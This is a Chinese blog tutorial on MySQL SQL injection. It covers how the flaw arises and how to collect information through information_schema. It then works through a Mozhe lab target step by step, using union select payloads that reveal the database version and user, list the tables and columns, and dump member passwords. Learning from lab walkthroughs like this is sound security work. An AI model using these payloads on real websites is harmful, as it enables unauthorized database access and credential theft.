web:SQL注入(1)


WEB漏洞框架

web漏洞

SQL注入框架

SQL注入

MYSQL注入

1、SQL注入危害

(1)数据库安全

(2)网站权限

2、注入产生原理

(1)可控变量:$id

(2)带入数据库查询

(3)变量未存在过滤或者过滤不严谨

网页源码

**mysqli_fetch_array()**:

函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有。该函数返回的字段名是区分大小写的。

eg:

都可能存在SQL注入

xxxxx/index.php?id=8

xxxxx/(index.php)?id=10 省略

xxxxx/?id=10&x=1 有两个变量,哪个可控注入哪个

xxxxx/index.php POST传参?

x有注入,哪个注入测试正确?第二个、第三个

注意注入哪个参数的问题,工具测试时也应该注意注入点

sqlmap:xxxxx/main.php?id=2*****&page=3

*****:代表注入参数 或交换参数位置

&:连接参数名 x为参数注入的话and应该写到x处

xxxxx/index.php?y=1 and 1=1&x=2 and写到y处,但y不会影响注入

xxxxx/index.php?y=1&x=2 and 1=1

xxxxx/index.php?y=1 and 1=1&x=2 and 1=1

xxxxx/index.php?xx=1 and 1=1&xxx=2 and 1=1 参数名不正确

3、信息收集

(1)操作系统版本:Linux、Windows的root的不同,大小写问题等

(2)数据库名

(3)数据库用户

(4)数据库版本

(5)其他(网页路径等):网站源码在计算机的存储地址

注:

1、高版本:

在mysql5.0版本以上,mysql存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下的表名或列名信息。

2、数据库中符号“**.**”,表示下一级,如xiao.user,user表示xiao数据库下的user表名。

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

information_schema.schematas:记录所有数据库信息的表

table_name:表名

column_name:列名

table_schema:数据库名

4、数据注入(同数据库)

常规查询

(1)低版本:暴力查询或结合读取查询

(2)高版本:information_schema有据查询

(3)MYSQL数据库

数据库A=网站A

表名->列名->数据

show databases:显示所有数据库(每个数据库可以对应一个网站)

use mysql:选择mysql数据库

show tables:显示mysql数据库的所有表

select * from server_cost:查看server_cost表里的所有内容,*:查询所有得到的表里有列名和数据

select password from fn_member:从这个表里查询password的值

5、墨者SQL注入靶机

(1)mysql数据库的手工注入

打开题目,点击它的文件,可以看到URL上存在?id=1,初步怀疑可以SQL注入

(2)如何判断注入点?

逻辑运算符:或(or,有真则真)、且(and,全真为真)、非(xor)

第一种:

and 1=1 页面正常

and 1=2 页面错误

第二种:

判断本质:对变量进行操作,SQL语句是否被执行,对网页是否有影响。

对这个列题的id值进行随机输入,发现页面返回空白,即存在SQL注入(改变变量会对网页造成影响)

?:一些网站在对变量修改后会直接404错误,跳转

对注入有检测,一般不存在注入漏洞

(3)联合注入:union(将多个查询语句一起返回)

  • 猜解列名数量(字段数):order by x :错误与正常的连接点
order by 1

此题测试到order by 5时页面回显不正常,说明5为临界值

  • 报错猜解准备:

order by先查询有几列数据,再union看几列数据可以显示出来,将能显示的替换替换成注入语句。

此题2,3可以显示出来,即可以进行替换注入。

219.153.49.228:47262/new_list.php?id=1 union select 1,2,3,4

219.153.49.228:47262/new_list.php?id=-1 union select 1,2,3,4

219.153.49.228:47262/new_list.php?id=1 and 1=2 union select 1,2,3,4

报错
  • 信息收集:

**数据库版本:version( )**:5.7.22-0ubuntu0.16.04.1

**数据库名字:database( )**:mozhe_Discuz_StormGroup

**数据库用户:user( )**:root@localhost

操作系统:@@version_compile_os:Linux

?id=-1 union select 1,database(),version(),4

数据库名字,版本

?id=-1 union select 1,user(),@@version_compile_os,4

操作系统,数据库用户
  • 查询

因为数据库版本为 5.7.22-0ubuntu0.16.04.1(高版本)可用information_schema数据库查询

查询information_schema.tables数据库下的表名信息:得到的是一个数据库的名字

?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

image-20220228231803141

2处是查询表名,3处未查询直接回显

从 information_schema.tables表中查询:数据库mozhe_Discuz_StormGroup中的表名信息

查询mozhe_Discuz_StormGroup数据库下的所有表名信息:

id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

得到mozhe_Discuz_StormGroup数据库下有两个表名

查询指定表名StormGroup_member下的所有列名信息:

id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

四个列名

查询指定列名下的所有数据:

id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member

使用group_concat( )防止漏数据

  • limit:猜解多个数据:limit x,1 变动猜解

文章作者: 17mie32
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 17mie32 !
  目录